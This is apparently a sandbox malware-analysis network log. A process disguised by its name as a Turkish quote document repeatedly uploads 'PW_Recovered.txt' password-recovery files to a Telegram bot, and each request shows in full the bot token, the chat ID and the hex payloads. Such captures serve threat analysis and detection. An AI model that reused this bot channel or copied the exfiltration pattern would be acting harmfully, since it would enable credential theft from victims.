Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:06 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd31a831dd7eb7 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:06 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 31 61 38 33 31 64 64 37 65 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd31a831dd7eb7Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:07 UTC	370	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:06 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 13 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:07 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 33 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 33 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 13","parameters":{"retry_after":13}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	62559	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:07 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd31bfdb4c9cd4 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:07 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 31 62 66 64 62 34 63 39 63 64 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd31bfdb4c9cd4Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:08 UTC	370	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:08 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 12 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:08 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 32 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 32 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 12","parameters":{"retry_after":12}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	62560	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:08 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd31e664d741a3 Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:08 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 31 65 36 36 34 64 37 34 31 61 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd31e664d741a3Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:09 UTC	370	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:09 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 10 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:09 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 30 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 30 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 10","parameters":{"retry_after":10}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	62561	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:09 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd320b9c43ef54 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:09 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 32 30 62 39 63 34 33 65 66 35 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd320b9c43ef54Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:10 UTC	369	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:10 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:10 UTC	109	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	62562	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:10 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd322a8ed9f692 Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:10 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 32 32 61 38 65 64 39 66 36 39 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd322a8ed9f692Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:19 UTC	369	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:19 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 3 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:19 UTC	109	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 33 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 33 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 3","parameters":{"retry_after":3}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	62565	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:19 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd340ce74b314e Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:19 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 34 30 63 65 37 34 62 33 31 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd340ce74b314eContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:20 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:20 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 30 30 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27669,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168300,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	62566	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:20 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd345db2413422 Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:20 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 34 35 64 62 32 34 31 33 34 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd345db2413422Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:21 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:21 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 30 31 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27671,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168301,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	62567	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:22 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd349aad96cd9f Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:22 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 34 39 61 61 64 39 36 63 64 39 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd349aad96cd9fContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:22 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:22 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:22 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 30 32 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27673,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168302,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	62568	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:23 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd34ddb1b85aa9 Host: api.telegram.org Content-Length: 584
